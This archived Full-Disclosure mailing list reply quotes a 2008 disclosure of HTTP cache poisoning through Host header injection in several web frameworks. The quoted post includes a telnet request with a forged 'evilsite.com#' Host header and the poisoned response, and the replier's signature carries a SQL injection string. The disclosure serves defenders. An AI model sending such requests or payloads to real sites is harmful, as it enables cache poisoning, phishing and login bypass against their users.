full-disclosure - Re: HTTP cache poisoning via Host header injection

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Date: Thu, 12 Jun 2008 13:55:10 -0400
From: "M. Shirk" <shirkdog_list@...mail.com>
To: <full-disclosure@...ts.grok.org.uk>
Subject: Re: HTTP cache poisoning via Host header injection


But PHPNuke is not vulnerable right?

(breaths a sigh of relief)

Shirkdog
' or 1=1-- 

http://www.shirkdog.us

> Date: Thu, 12 Jun 2008 10:40:13 -0700
> From: carlos@...no.org
> To: full-disclosure@...ts.grok.org.uk
> Subject: [Full-disclosure] HTTP cache poisoning via Host header injection
> 
> I've confirmed this in default installations of a few web frameworks
> including Rails, Zope and WordPress.
> 
> The basic vulnerability comes when:
> 
> 1) Your web server does not validate the Host header
> 2) Your code or your framework uses the Host header value to build links
> 3) You employ page or fragment caching
> 
> There may be phishing-type exploits possible even if a site does not
> do 3), if there are caching proxies at the ISP level.
> 
> $ telnet www.example.com 80
> Trying 1.2.3.4...
> Connected to www.example.com.
> Escape character is '^]'.
> GET /foo/bar.html HTTP/1.1
> User-Agent: Mozilla
> Host: evilsite.com#
> 
> HTTP/1.1 200 OK
> Date: Wed, 10 Jun 2008 00:27:45 GMT
> Server: Apache
> Cache-Control: max-age=60
> Expires: Wed, 17 Jun 2008 00:27:45 GMT
> Content-Length: 2959
> Content-Type: text/html; charset=iso-8859-1
> 
> <html>
>   <head>
>     <title>Foo : Bar</title>
>   </head>
>   <body>
>     <a href="http://evilsite.com#/">Home</a>
>     <a href="http://evilsite.com#/about">About</a>
>     <a href="http://evilsite.com#/login">Login</a>
> 
> [...snip...]
> 
> <hr>
> <address>Apache Server at evilsite.com# Port 80</address>
> </body></html>
> 
> 
> Some more details here:
> http://carlos.bueno.org/2008/06/host-header-injection.html
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/

_________________________________________________________________
Instantly invite friends from Facebook and other social networks to join you on Windows Live™ Messenger.
https://www.invite2messenger.net/im/?source=TXT_EML_WLH_InviteFriends
Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/